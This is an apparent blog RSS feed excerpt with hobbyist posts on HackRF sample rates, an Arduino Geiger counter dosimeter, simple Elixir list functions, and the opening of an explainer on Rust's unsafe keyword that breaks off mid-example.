&lt;code&gt;input_rate&lt;/code&gt;. For many flowgraphs, the modulator block will convert from &lt;code&gt;input_rate&lt;/code&gt;&#xA;to &lt;code&gt;samp_rate&lt;/code&gt; and only just before the sink is the rate converted to &lt;code&gt;tx_rate&lt;/code&gt; with a&#xA;Rational Resampler block, with the incoming rate in decimation and the outgoing rate&#xA;in interpolation.&lt;/p&gt;&#xA;&lt;p&gt;Second, you &lt;em&gt;can&lt;/em&gt; use the HackRF One without setting any device options in the &amp;ldquo;Device&#xA;Arguments&amp;rdquo; section, but if you&amp;rsquo;re using more than one HackRF One, you can use the&#xA;&lt;code&gt;hackrf_info&lt;/code&gt; tool to get the serial number and then set &lt;code&gt;hackrf=&amp;lt;serial&amp;gt;&lt;/code&gt; in that field.&lt;/p&gt;&#xA;</content:encoded>
    </item>
    <item>
      <title>Arduino Geiger Counter Dosimeter</title>
      <link>https://nora.codes/post/arduino-geiger-counter-dosimeter/</link>
      <pubDate>Mon, 19 Aug 2019 17:19:44 -0700</pubDate>
      <guid>https://nora.codes/post/arduino-geiger-counter-dosimeter/</guid>
      <description>&lt;figure class=&#34;right&#34;&gt;&#xA;    &lt;a href=&#34;./images/geiger_counter/off_closed.webp&#34;&gt;&lt;img src=&#34;./images/geiger_counter/off_closed.webp.thumb&#34; alt=&#34;The apparatus, turned off.&#34;&gt;&lt;/a&gt;&#xA;It&amp;rsquo;s a simple and humble apparatus, but it&amp;rsquo;s quite useful.&#xA;&lt;/figure&gt;&#xA;&#xA;&lt;p&gt;One of my first electronics projects was the excellent β and γ radiation detector kit,&#xA;from &lt;a href=&#34;https://mightyohm.com/blog/products/geiger-counter/&#34;&gt;MightyOhm&lt;/a&gt;. It&amp;rsquo;s all&#xA;through-hole construction, a beautiful yellow PCB that&amp;rsquo;s easy to assemble and fun to play&#xA;with.&lt;/p&gt;&#xA;&lt;p&gt;Recently, though, I found myself interested in more than just a simple beep-beep-beep&#xA;of incoming radiation - I wanted to actually compare the radioactivity of several samples&#xA;without just manually counting the ticks. The kit does actually include a serial readout&#xA;of the data, but I thought it would be fun to make something a little more visual.&lt;/p&gt;</description>
      <content:encoded>&lt;figure class=&#34;right&#34;&gt;&#xA;    &lt;a href=&#34;./images/geiger_counter/off_closed.webp&#34;&gt;&lt;img src=&#34;./images/geiger_counter/off_closed.webp.thumb&#34; alt=&#34;The apparatus, turned off.&#34;&gt;&lt;/a&gt;&#xA;It&amp;rsquo;s a simple and humble apparatus, but it&amp;rsquo;s quite useful.&#xA;&lt;/figure&gt;&#xA;&#xA;&lt;p&gt;One of my first electronics projects was the excellent β and γ radiation detector kit,&#xA;from &lt;a href=&#34;https://mightyohm.com/blog/products/geiger-counter/&#34;&gt;MightyOhm&lt;/a&gt;. It&amp;rsquo;s all&#xA;through-hole construction, a beautiful yellow PCB that&amp;rsquo;s easy to assemble and fun to play&#xA;with.&lt;/p&gt;&#xA;&lt;p&gt;Recently, though, I found myself interested in more than just a simple beep-beep-beep&#xA;of incoming radiation - I wanted to actually compare the radioactivity of several samples&#xA;without just manually counting the ticks. The kit does actually include a serial readout&#xA;of the data, but I thought it would be fun to make something a little more visual.&lt;/p&gt;&#xA;&lt;figure class=&#34;left&#34;&gt;&#xA;    &lt;img src=&#34;./images/geiger_counter/off_open.webp&#34; alt=&#34;The dosimeter, open, showing the back of the display, the battery pack, the actual&#xA;sensor, and the microcontroller&#34;&gt;&#xA;The whole assembly was easy to house inside a single small cardboard box.&#xA;&lt;/figure&gt;&#xA;&#xA;&lt;p&gt;For this project, I picked up a &lt;a href=&#34;https://www.adafruit.com/product/2159&#34;&gt;display&lt;/a&gt;, with&#xA;an I2C &amp;ldquo;backpack&amp;rdquo;, a &lt;a href=&#34;https://www.adafruit.com/product/2590&#34;&gt;Metro Mini&lt;/a&gt; microcontroller,&#xA;and a &lt;a href=&#34;https://www.adafruit.com/product/830&#34;&gt;battery pack&lt;/a&gt; with a 6V nominal output.&#xA;Both the Metro Mini and the Geiger counter board can easily handle that input, so it works&#xA;well and won&amp;rsquo;t sag so much as to brown out as the batteries age.&lt;/p&gt;&#xA;&lt;p&gt;Once I&amp;rsquo;d done that, it was only a matter of a little soldering and creative cardboard-cutting&#xA;to get everything situated inside an old RadioShack product box with a slit for incoming&#xA;radiation. First, I soldered the four display elements onto the backpack board and added&#xA;the headers to the Metro Mini. Then, I used a small piece of perfboard to connect the&#xA;Mini Metro to the display and the pulse output from the Geiger counter. I also removed the&#xA;battery pack from the Geiger counter and used the perfboard to route power everywhere it&#xA;needed to go.&lt;/p&gt;&#xA;&lt;p&gt;After putting on the heatshrink tubing and soldering everything together, I was ready to&#xA;get coding. The method I ended up implementing uses interrupts to register pulse events&#xA;from the sensor board. It simply takes a rolling average of the number of&#xA;pulses over the last 30 seconds, in 42 steps per second. That allows it to easily detect&#xA;up to the maximum displayable 9999 counts per minute. Actually displaying the reading is&#xA;made simple by the I2C backpack board. All you really have to do is use the provided&#xA;library to send commands to blank the display and set the right characters.&lt;/p&gt;&#xA;&lt;figure class=&#34;right&#34;&gt;&#xA;    &lt;img src=&#34;./images/geiger_counter/operating.webp&#34; alt=&#34;The dosimeter, operating, with a 2-dram vial of uranium ore chunks next to it, measuring&#xA;about 300 CPM&#34;&gt;&#xA;The radiation emmitted by this uranium ore is mostly β particles,&#xA;which only go a short distance, so even a little air can block a lot of the signal to&#xA;the detector.&#xA;&lt;/figure&gt;&#xA;&#xA;&lt;p&gt;This means that the whole apparatus can be placed next to a sample for about 30 seconds,&#xA;and the correct reading will show up on the screen. I also managed to snag a sample of&#xA;uranium ore from United Nuclear which measures about 1500 CPM when in direct contact with&#xA;the sensor. It was a fun project and will, I hope, prove quite useful in comparing mildly&#xA;radioactive β and γ emmitters.&lt;/p&gt;&#xA;&lt;p&gt;One interesting lesson was just how aggressively radiation falls off through air, water,&#xA;and other common substances. The difference between two centimenters of air between the&#xA;vial and the detector, and direct contact, is about 50%, and the glass of the vial appears&#xA;to block about 30% of the signal. It&amp;rsquo;s pretty clear, then, why it is that the main danger&#xA;of radioactive material is not mere exposure but ingestion or inhalation, which exposes&#xA;sensitive organs to the radiation directly.&lt;/p&gt;&#xA;&lt;p&gt;You can find the code for this project &lt;a href=&#34;./code/geiger_counter.ino&#34;&gt;here&lt;/a&gt;. It requires&#xA;the Adafruit support library for their I2C display backpacks.&lt;/p&gt;&#xA;</content:encoded>
    </item>
    <item>
      <title>Simple Elixir Functions</title>
      <link>https://nora.codes/post/simple-elixir-functions/</link>
      <pubDate>Sat, 20 Jul 2019 12:03:23 -0700</pubDate>
      <guid>https://nora.codes/post/simple-elixir-functions/</guid>
      <description>&lt;p&gt;I&amp;rsquo;ve been playing around with &lt;a href=&#34;https://elixir-lang.org/&#34;&gt;Elixir&lt;/a&gt;, which is a pretty cool&#xA;language - specifically, I&amp;rsquo;m reading &lt;a href=&#34;https://pragprog.com/book/elixir16/programming-elixir-1-6&#34;&gt;Programming Elixir 1.6&lt;/a&gt;&#xA;which is &lt;strong&gt;free&lt;/strong&gt; for anyone with a &lt;code&gt;.edu&lt;/code&gt; email address from The Pragmatic Bookshelf.&lt;/p&gt;&#xA;&lt;h2 id=&#34;reverse1&#34;&gt;reverse/1&lt;/h2&gt;&#xA;&lt;p&gt;I enjoy functional programming, so of course the first two functions I made were list&#xA;operations. First up is &lt;code&gt;reverse(list)&lt;/code&gt; (written as &lt;code&gt;reverse/1&lt;/code&gt;, meaning it takes one&#xA;argument), which reverses a list.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-elixir&#34; data-lang=&#34;elixir&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;# reverse/1&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;#   Reverse the given list.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;def&lt;/span&gt; reverse([]), &lt;span style=&#34;color:#00f&#34;&gt;do&lt;/span&gt;: []&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;def&lt;/span&gt; reverse(list) &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;do&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    reverse(tl list) ++ [hd list]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;end&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The first &lt;code&gt;def&lt;/code&gt; line here says that if you pass &lt;code&gt;reverse/1&lt;/code&gt; an empty list, the result&#xA;is an empty list; that&amp;rsquo;s the base case.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;I&amp;rsquo;ve been playing around with &lt;a href=&#34;https://elixir-lang.org/&#34;&gt;Elixir&lt;/a&gt;, which is a pretty cool&#xA;language - specifically, I&amp;rsquo;m reading &lt;a href=&#34;https://pragprog.com/book/elixir16/programming-elixir-1-6&#34;&gt;Programming Elixir 1.6&lt;/a&gt;&#xA;which is &lt;strong&gt;free&lt;/strong&gt; for anyone with a &lt;code&gt;.edu&lt;/code&gt; email address from The Pragmatic Bookshelf.&lt;/p&gt;&#xA;&lt;h2 id=&#34;reverse1&#34;&gt;reverse/1&lt;/h2&gt;&#xA;&lt;p&gt;I enjoy functional programming, so of course the first two functions I made were list&#xA;operations. First up is &lt;code&gt;reverse(list)&lt;/code&gt; (written as &lt;code&gt;reverse/1&lt;/code&gt;, meaning it takes one&#xA;argument), which reverses a list.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-elixir&#34; data-lang=&#34;elixir&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;# reverse/1&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;#   Reverse the given list.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;def&lt;/span&gt; reverse([]), &lt;span style=&#34;color:#00f&#34;&gt;do&lt;/span&gt;: []&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;def&lt;/span&gt; reverse(list) &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;do&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    reverse(tl list) ++ [hd list]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;end&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The first &lt;code&gt;def&lt;/code&gt; line here says that if you pass &lt;code&gt;reverse/1&lt;/code&gt; an empty list, the result&#xA;is an empty list; that&amp;rsquo;s the base case.&lt;/p&gt;&#xA;&lt;p&gt;The second &lt;code&gt;def&lt;/code&gt; defines the recursive case, in which &lt;code&gt;reverse/1&lt;/code&gt; takes the tail of the&#xA;list (&lt;code&gt;tl list&lt;/code&gt;), reverses it, and appends the first element (&lt;code&gt;hd list&lt;/code&gt;).&lt;/p&gt;&#xA;&lt;h2 id=&#34;palindrome1&#34;&gt;palindrome/1&lt;/h2&gt;&#xA;&lt;p&gt;Another classic FP function is &lt;code&gt;palindrome(list)&lt;/code&gt;, evaluating to true if the given list&#xA;is a palindrome (like &lt;code&gt;[1, 2, 3, 2, 1]&lt;/code&gt;).&lt;/p&gt;&#xA;&lt;p&gt;This function takes advantage of the &lt;code&gt;_&lt;/code&gt; special variable to say that any list with&#xA;exactly one element is automatically a palindrome, as a second base case.&lt;/p&gt;&#xA;&lt;p&gt;It also uses the &lt;code&gt;|&amp;gt;&lt;/code&gt; pipe operator to turn the pruning operation, which turns&#xA;&lt;code&gt;[1, 2, 3, 2, 1]&lt;/code&gt; into &lt;code&gt;[2, 3, 2]&lt;/code&gt; for recursion, from a nested function call&#xA;&lt;code&gt;List.delete_at(tl(list), -1)&lt;/code&gt; into the somewhat more readable &lt;code&gt;tl(list) |&amp;gt; List.delete_at(-1)&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I also went out of my way to use &lt;code&gt;reverse/1&lt;/code&gt; here, just to say that I did. It&amp;rsquo;s definitely&#xA;not the most efficient way to implement this algorithm.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-elixir&#34; data-lang=&#34;elixir&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;# palindrome/1&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;#   Return true if the given list is palindromic&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;#   or false otherwise.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;def&lt;/span&gt; palindrome([]), &lt;span style=&#34;color:#00f&#34;&gt;do&lt;/span&gt;: true&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;def&lt;/span&gt; palindrome([_]), &lt;span style=&#34;color:#00f&#34;&gt;do&lt;/span&gt;: true&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;def&lt;/span&gt; palindrome(list) &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;do&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    (tl(list) == tl(reverse list)) &lt;span style=&#34;font-weight:bold&#34;&gt;and&lt;/span&gt; palindrome(tl(list) |&amp;gt; List.delete_at(-&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;end&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;There&amp;rsquo;s not much point to this post other than to say - Elixir is fun, and a pretty&#xA;language!&lt;/p&gt;&#xA;</content:encoded>
    </item>
    <item>
      <title>What Is Rust&#39;s unsafe?</title>
      <link>https://nora.codes/post/what-is-rusts-unsafe/</link>
      <pubDate>Fri, 12 Jul 2019 10:00:00 -0700</pubDate>
      <guid>https://nora.codes/post/what-is-rusts-unsafe/</guid>
      <description>&lt;p&gt;I&amp;rsquo;ve seen a lot of misconceptions around what the &lt;code&gt;unsafe&lt;/code&gt; keyword means for the utility&#xA;and validity of Rust and its marketing as a &amp;ldquo;safe systems language&amp;rdquo;. The truth is a lot&#xA;more complicated than a single pithy tweet can possibly sum up, unfortunately; here it is&#xA;as I see it.&lt;/p&gt;&#xA;&lt;p&gt;Basically, &lt;strong&gt;the unsafe keyword does not turn off the advanced type system&#xA;that keeps Rust code honest&lt;/strong&gt;. It only allows a few select &amp;ldquo;superpowers&amp;rdquo;, like dereferencing&#xA;raw pointers. It is used to implement safe abstractions over a fundamentally unsafe world&#xA;so that the majority of Rust code can use those abstractions and avoid memory unsafety.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;I&amp;rsquo;ve seen a lot of misconceptions around what the &lt;code&gt;unsafe&lt;/code&gt; keyword means for the utility&#xA;and validity of Rust and its marketing as a &amp;ldquo;safe systems language&amp;rdquo;. The truth is a lot&#xA;more complicated than a single pithy tweet can possibly sum up, unfortunately; here it is&#xA;as I see it.&lt;/p&gt;&#xA;&lt;p&gt;Basically, &lt;strong&gt;the unsafe keyword does not turn off the advanced type system&#xA;that keeps Rust code honest&lt;/strong&gt;. It only allows a few select &amp;ldquo;superpowers&amp;rdquo;, like dereferencing&#xA;raw pointers. It is used to implement safe abstractions over a fundamentally unsafe world&#xA;so that the majority of Rust code can use those abstractions and avoid memory unsafety.&lt;/p&gt;&#xA;&lt;h2 id=&#34;the-promise-of-safety&#34;&gt;The Promise of Safety&lt;/h2&gt;&#xA;&lt;p&gt;Rust promises safety as one of its core tenets; it is, in some ways, the &lt;em&gt;raison d&amp;rsquo;être&lt;/em&gt;&#xA;of the language. It does not, however, go about providing that safety in the traditional&#xA;way, using a runtime and a garbage collector; rather, Rust uses a very advanced type&#xA;system to keep track of which values are safe to access when, and the compiler then&#xA;statically analyzes each Rust program to ensure that certain invariants are upheld.&lt;/p&gt;&#xA;&lt;h3 id=&#34;safety-in-python&#34;&gt;Safety in Python&lt;/h3&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s take, as an example, the Python programming language. Pure Python code cannot&#xA;corrupt its memory. List accesses have bounds checking, references returned by functions&#xA;are reference counted to prevent dangling pointers, and there&amp;rsquo;s no way to perform&#xA;arbitrary pointer arithmetic.&lt;/p&gt;&#xA;&lt;p&gt;This has two consequences: first, a lot of types have to be &amp;ldquo;special&amp;rdquo;. For example, it&amp;rsquo;s&#xA;not possible to implement an efficient Python list or dict in pure Python; instead, the&#xA;CPython interpreter implements lists and dicts internally. Second, access to external&#xA;(non-Python-managed) functions, called &amp;ldquo;foreign function interface&amp;rdquo;, requires the use of&#xA;the special &lt;code&gt;ctypes&lt;/code&gt; module and breaks the language&amp;rsquo;s safety guarantees.&lt;/p&gt;&#xA;&lt;p&gt;In a certain sense, this means that everything written in Python is memory unsafe.&lt;/p&gt;&#xA;&lt;h3 id=&#34;safety-in-rust&#34;&gt;Safety in Rust&lt;/h3&gt;&#xA;&lt;p&gt;Rust also provides safety, but instead of implementing unsafe structures in C, it provides&#xA;a so-called &amp;ldquo;escape hatch&amp;rdquo;: the &lt;code&gt;unsafe&lt;/code&gt; keyword.&#xA;This means that the foundational data structures in Rust like &lt;code&gt;Vec&lt;/code&gt;, &lt;code&gt;VecDeque&lt;/code&gt;, &lt;code&gt;BTreeMap&lt;/code&gt;,&#xA;and &lt;code&gt;String&lt;/code&gt; are all implemented &lt;em&gt;using Rust&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&amp;ldquo;But Nora,&amp;rdquo; I hear you asking, &amp;ldquo;if Rust provides an escape hatch from its guarantees, and&#xA;the standard library is implemented using that escape hatch, isn&amp;rsquo;t everything written in&#xA;Rust unsafe?&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;In a word, dear reader, &lt;strong&gt;yes&lt;/strong&gt; - in exactly the same way that everything in Python is.&#xA;Let&amp;rsquo;s dig into that.&lt;/p&gt;&#xA;&lt;h2 id=&#34;what-is-prohibited-in-safe-rust&#34;&gt;What Is Prohibited in Safe Rust?&lt;/h2&gt;&#xA;&lt;p&gt;Safety, in Rust, is very well-defined; we think about it a lot. In essence, safe Rust&#xA;programs cannot:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Dereference a pointer that does not point to the type the compiler thinks it points to.&lt;/strong&gt;&#xA;This means no null pointers (because they point to &lt;em&gt;nothing&lt;/em&gt;), no memory-out-of-bounds&#xA;and/or segmentation faults, and no buffer overflows, but it also means no use-after-free&#xA;or double-free (because freeing memory counts as dereferencing a pointer), and no &lt;a href=&#34;https://en.wikipedia.org/wiki/Type_punning&#34;&gt;type&#xA;punning&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Cause there to be either multiple mutable references or both mutable and immutable&#xA;references to the same data at the same time.&lt;/strong&gt; This is, if you have a mutable reference&#xA;to some data, &lt;em&gt;only you&lt;/em&gt; have that reference, and if you have an immutable reference to&#xA;that data, &lt;em&gt;it will not change&lt;/em&gt; while you hold that reference. This means it is impossible&#xA;to cause a data race in safe Rust, which is a guarantee most other safe languages do not&#xA;provide.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Rust encodes this information in the type system, either through the use of &lt;strong&gt;algebraic&#xA;data types&lt;/strong&gt; like &lt;code&gt;Option&amp;lt;T&amp;gt;&lt;/code&gt; to encode presence/absence and &lt;code&gt;Result&amp;lt;T, E&amp;gt;&lt;/code&gt; to encode&#xA;failure/success, or &lt;strong&gt;references and lifetimes&lt;/strong&gt; like &lt;code&gt;&amp;amp;T&lt;/code&gt; vs &lt;code&gt;&amp;amp;mut T&lt;/code&gt; to encode the&#xA;difference between shared (immutable) and exclusive (mutable) references and &lt;code&gt;&amp;amp;&#39;a T&lt;/code&gt;&#xA;versus &lt;code&gt;&amp;amp;&#39;b T&lt;/code&gt; to denote references that are valid in different contexts/frames. (These&#xA;are usually elided; that is, the compiler is generally smart enough to figure them out.)&lt;/p&gt;&#xA;&lt;h3 id=&#34;examples&#34;&gt;Examples&lt;/h3&gt;&#xA;&lt;p&gt;For example, the following code does not compile because it would cause a dangling&#xA;reference; specifically, &lt;code&gt;my_struct does not live long enough&lt;/code&gt;. In other words, the&#xA;function would return a reference to something that no longer exists, and therefore the&#xA;compiler won&amp;rsquo;t (and really, doesn&amp;rsquo;t know &lt;em&gt;how&lt;/em&gt; to) compile it.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;fn&lt;/span&gt; dangling_reference(v: &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;u64&lt;/span&gt;)&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;-&amp;gt; &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;amp;&lt;/span&gt;MyStruct&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// Create a new value of type MyStruct with the value field set to v,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// the function&amp;#39;s one parameter.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;my_struct&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;MyStruct&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;value: v&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;};&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// Return a reference to the local variable my_struct.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;return&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&amp;amp;my_struct;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// my_struct is deallocated (popped off the stack, really).&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This code does the same thing, but tries to get around the problem by placing the value&#xA;on the heap (&lt;code&gt;Box&lt;/code&gt; is Rust&amp;rsquo;s name for a basic smart pointer with no wacky behavior.)&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;fn&lt;/span&gt; dangling_heap_reference(v: &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;u64&lt;/span&gt;)&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;-&amp;gt; &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;amp;&lt;/span&gt;Box&amp;lt;MyStruct&amp;gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;my_struct&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;MyStruct&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;value: v&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;};&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// Put the struct in a Box, allocating space for it on the heap and moving it there.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;my_box&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Box::new(my_struct);&lt;span 